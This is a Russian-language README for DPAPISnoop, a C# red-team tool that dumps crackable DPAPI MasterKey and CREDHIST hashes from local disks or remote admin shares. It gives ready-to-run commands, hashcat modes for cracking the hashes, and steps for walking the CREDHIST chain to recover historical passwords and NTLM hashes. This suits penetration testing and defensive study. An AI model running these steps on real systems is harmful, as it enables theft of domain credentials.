
C#-инструмент для вывода взламываемых хешей DPAPI из пользовательских MasterKeys
Инструмент на C#, который извлекает поддающиеся взлому DPAPI-хэши из пользовательских MasterKey и файлов CREDHIST.
Ориентирован как на MasterKey ($DPAPImk$), так и на полную цепочку CREDHIST ($credhist$); поддерживает локальные пути и удалённые SMB-шары.
$DPAPImk$)MasterKey для каждого пользователя можно найти в \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\.
Взлом даёт доменный пароль пользователя и открывает все защищённые DPAPI секреты той эпохи.
Версия хэша зависит от ОС:
Поле Context кодирует тип учётной записи:
$credhist$)Каждая запись в файле CREDHIST пользователя. Каждая запись зашифрована предыдущим паролем и при расшифровке даёт SHA1 + NTLM пароля, который был до неё.
Взлом цепочки восстанавливает все исторические пароли и их NTLM-хэши.
Записи помечены в поле имени пользователя, поэтому вывод говорит сам за себя:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
Версия хэша записей зависит от ОС:
-m 15920-m 15930DPAPISnoop.exe [rootDir] [options]
Если rootDir не указан, по умолчанию используется %HOMEDRIVE%. UNC-пути полностью поддерживаются.
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
После взлома передайте восстановленный пароль обратно в DPAPISnoop, чтобы пройти всю цепочку и вывести все исторические SHA1 и NTLM:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
См. README
Эта исследовательская и опытно-конструкторская работа проводилась совместно человеком и инструментами на базе ИИ с использованием моделей ИИ GPT-5.5 и Claude Sonnet 4.6.
Модели ИИ использовались для помощи в генерации кода и поддержки обратной разработки.
Однако всё направление исследований, валидация, отладка, тестирование, анализ безопасности и финальные технические решения выполнялись человеком (Imdefinelyhuman).
Весь сгенерированный контент, код и анализ были вручную проверены, подтверждены, изменены и интегрированы в рамках итеративного процесса под руководством человека.
Вышесказанное — это просто витиеватый способ сообщить, что в коде есть баги и вы используете его на свой страх и риск!
Lefteris (lefty) Panos @ LRQA Red Team 2026
| Флаг | Описание |
|---|
| (нет) | Дамп $DPAPImk$ и $credhist$ для нашего пользователя |
--credhist-only / -c | Пропустить вывод MasterKey; выводить только строки $credhist$ |
--password <plaintext> / -p | Пройти по цепочке CREDHIST от текущего пароля в открытом виде |
--sha1 <40-hex> | Пройти по цепочке CREDHIST от известного SHA1 текущего пароля |
--pre1607 | Выводить контекст 2 (домен до 1607) вместо контекста 3 для доменных хэшей MasterKey |